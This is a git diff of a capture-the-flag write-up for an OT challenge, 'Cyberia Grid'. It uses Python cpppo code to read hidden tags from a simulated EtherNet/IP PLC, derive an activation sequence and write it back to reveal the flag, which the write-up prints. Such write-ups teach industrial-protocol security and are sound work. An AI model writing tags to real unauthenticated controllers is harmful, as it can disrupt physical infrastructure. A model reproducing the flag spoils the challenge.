write-up: OT/Cyberia_Grid/README.md
This commit is contained in:
parent
4c1fe6b2d4
commit
216f71dbc0
@ -1,75 +1,136 @@
|
||||
# Cyberia Grid -- Solution
|
||||
# Cyberia Grid
|
||||
|
||||
## Overview
|
||||
EtherNet/IP server simulating a PLC at Cyberia nightclub. The controller
|
||||
manages power infrastructure and contains hidden tags with encoded KIDS
|
||||
experiment data. A write-triggered "Psyche Processor" reveals the flag.
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | OT |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
## Steps
|
||||
---
|
||||
|
||||
### 1. Connect and Enumerate Tags
|
||||
Connect to the EtherNet/IP server on port 44818. List all available tags.
|
||||
## Description
|
||||
|
||||
```bash
|
||||
# Using cpppo client
|
||||
python -m cpppo.server.enip.client --address HOST:44818 \
|
||||
'Zone_Main_Power' 'Zone_VIP_Power' 'Zone_Basement_Power' \
|
||||
'Sound_System_dB' 'BPM' 'Lighting_Main[0-7]' \
|
||||
'KIDS_Subject[0-15]' 'Knights_Cipher[0-3]' \
|
||||
'Psyche_Processor[0-3]' 'Psyche_Status' 'Decoded_Output'
|
||||
```
|
||||
Cyberia is not just a nightclub. An industrial PLC controller manages the building power
|
||||
infrastructure over EtherNet/IP.
|
||||
|
||||
### 2. Analyze Infrastructure Tags
|
||||
- `Zone_Main_Power = 1`, `Zone_VIP_Power = 1` -- normal
|
||||
- `Zone_Basement_Power = 0` -- basement is OFF (suspicious)
|
||||
- `Sound_System_dB = 95`, `BPM = 140`
|
||||
- `Lighting_Main = [255, 200, 180, 150, 100, 80, 60, 40]`
|
||||
The previous owner — rumored to be connected to the Knights of the Eastern Calculus —
|
||||
added extra tags that do not correspond to any physical equipment.
|
||||
|
||||
### 3. Analyze Hidden Tags
|
||||
- `KIDS_Subject[0-15]`: 16 DINTs containing XOR-encoded flag data
|
||||
- `Knights_Cipher[0-3]`: partial XOR key `[0x4B, 0x6E, 0x69, 0]` -- 4th byte is missing!
|
||||
- `Psyche_Processor[0-3]`: all zeros -- awaiting activation
|
||||
- `Psyche_Status = "DORMANT"`
|
||||
Read the tags. Find the hidden data. The Psyche Processor awaits activation.
|
||||
|
||||
### 4. Derive Activation Sequence
|
||||
The 4 Psyche_Processor values are derived from infrastructure tag values:
|
||||
- EtherNet/IP: `tcp/<host>:44818`
|
||||
|
||||
| Index | Formula | Value |
|
||||
|-------|---------|-------|
|
||||
| 0 | `Zone_Basement_Power XOR BPM` | `0 ^ 140 = 140` |
|
||||
| 1 | `Sound_System_dB` | `95` |
|
||||
| 2 | `sum(Lighting_Main) % 256` | `1065 % 256 = 17` |
|
||||
| 3 | `0x1337` (hacker constant) | `4919` |
|
||||
Format: **ESPILON{flag}**
|
||||
|
||||
### 5. Activate Psyche Processor
|
||||
Write `[140, 95, 17, 4919]` to `Psyche_Processor[0-3]`.
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
Read all EtherNet/IP tags including hidden ones (`KIDS_Subject`, `Knights_Cipher`,
|
||||
`Psyche_Processor`). Derive the 4-value activation sequence from infrastructure tag values
|
||||
(BPM, sound level, lighting sum, hacker constant 0x1337). Write to `Psyche_Processor[0-3]`.
|
||||
After one scan cycle, read `Decoded_Output` for the flag.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| Python 3 + `cpppo` | EtherNet/IP client (read/write tags) |
|
||||
| Knowledge of EtherNet/IP | Understanding CIP tag addressing |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Step 1 — Connect and enumerate tags
|
||||
|
||||
Using the cpppo EtherNet/IP client:
|
||||
|
||||
```python
|
||||
from cpppo.server.enip.get_attribute import proxy_simple as device
|
||||
with device(host="HOST", port=44818) as via:
|
||||
|
||||
with device(host="<HOST>", port=44818) as via:
|
||||
# Read infrastructure tags
|
||||
zone_main = via.read("Zone_Main_Power")
|
||||
zone_vip = via.read("Zone_VIP_Power")
|
||||
zone_bsmt = via.read("Zone_Basement_Power") # = 0 (OFF — suspicious)
|
||||
sound_db = via.read("Sound_System_dB") # = 95
|
||||
bpm = via.read("BPM") # = 140
|
||||
lighting = [via.read(f"Lighting_Main[{i}]") for i in range(8)]
|
||||
# = [255, 200, 180, 150, 100, 80, 60, 40]
|
||||
|
||||
# Read hidden tags
|
||||
kids = [via.read(f"KIDS_Subject[{i}]") for i in range(16)]
|
||||
cipher = [via.read(f"Knights_Cipher[{i}]") for i in range(4)]
|
||||
# cipher = [0x4B, 0x6E, 0x69, 0] -- 4th byte missing
|
||||
psyche_st = via.read("Psyche_Status") # = "DORMANT"
|
||||
```
|
||||
|
||||
> 📸 `[screenshot: cpppo client output listing all tag values including hidden ones]`
|
||||
|
||||
**Observation:** `Zone_Basement_Power = 0` — the basement is OFF. This is the first hint
|
||||
that something is hidden underground.
|
||||
|
||||
### Step 2 — Analyze the hidden tags
|
||||
|
||||
- `KIDS_Subject[0-15]`: 16 DINT values containing XOR-encoded flag data
|
||||
- `Knights_Cipher[0-3]`: partial XOR key `[0x4B, 0x6E, 0x69, 0]` = `"Kni?"` — 4th byte missing
|
||||
- `Psyche_Processor[0-3]`: all zeros — needs activation
|
||||
- `Psyche_Status = "DORMANT"`
|
||||
|
||||
### Step 3 — Derive the activation sequence
|
||||
|
||||
Each `Psyche_Processor` value is derived from existing infrastructure tags:
|
||||
|
||||
| Index | Formula | Calculation | Value |
|
||||
|-------|---------|-------------|-------|
|
||||
| 0 | `Zone_Basement_Power XOR BPM` | `0 ^ 140` | 140 |
|
||||
| 1 | `Sound_System_dB` | `95` | 95 |
|
||||
| 2 | `sum(Lighting_Main) % 256` | `1065 % 256` | 17 |
|
||||
| 3 | `0x1337` (hacker constant) | `4919` | 4919 |
|
||||
|
||||
> 📸 `[screenshot: Python calculation showing the four derived activation values]`
|
||||
|
||||
### Step 4 — Activate the Psyche Processor
|
||||
|
||||
Write the derived values:
|
||||
|
||||
```python
|
||||
with device(host="<HOST>", port=44818) as via:
|
||||
for i, val in enumerate([140, 95, 17, 4919]):
|
||||
via.write(via.parameter_substitution(f"Psyche_Processor[{i}]"), val)
|
||||
```
|
||||
|
||||
### 6. Read Flag
|
||||
After the PLC scan cycle (~500ms), read `Decoded_Output`:
|
||||
### Step 5 — Wait one scan cycle and read the flag
|
||||
|
||||
After ~500ms (one PLC scan cycle):
|
||||
|
||||
```python
|
||||
flag = via.read(via.parameter_substitution("Decoded_Output"))
|
||||
import time
|
||||
time.sleep(0.6)
|
||||
|
||||
with device(host="<HOST>", port=44818) as via:
|
||||
flag = via.read("Decoded_Output")
|
||||
print(flag)
|
||||
|
||||
# Also: Knights_Cipher[3] is now populated: 0x67 = 'g' → key = "Knig"
|
||||
```
|
||||
|
||||
Also: `Knights_Cipher[3]` is now populated (0x67 = 'g'), completing the
|
||||
key `"Knig"` which can also be used to manually XOR-decode `KIDS_Subject`.
|
||||
> 📸 `[screenshot: Decoded_Output tag returning the flag after Psyche Processor activation]`
|
||||
|
||||
### Key concepts
|
||||
|
||||
## Key Insights
|
||||
- `Zone_Basement_Power = 0` is the first hint that something is hidden underground
|
||||
- The 0x1337 constant echoes the Operating Room challenge pattern
|
||||
- The PLC scan cycle polling pattern mimics real industrial controller behavior
|
||||
- Without authentication, anyone can read/write tags -- a common EtherNet/IP vulnerability
|
||||
- The `0x1337` constant is a recurring hacker reference across the OT challenges
|
||||
- The PLC scan cycle polling pattern mirrors real industrial controller behavior
|
||||
- EtherNet/IP has no built-in authentication — anyone can read/write tags on the network
|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
`ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}`
|
||||
|
||||
## Author
|
||||
Eun0us
|
||||
`ESPILON{cyb3r14_ps7ch3_pr0c3ss0r}`
|
||||
|
||||
Loading…
Reference in New Issue
Block a user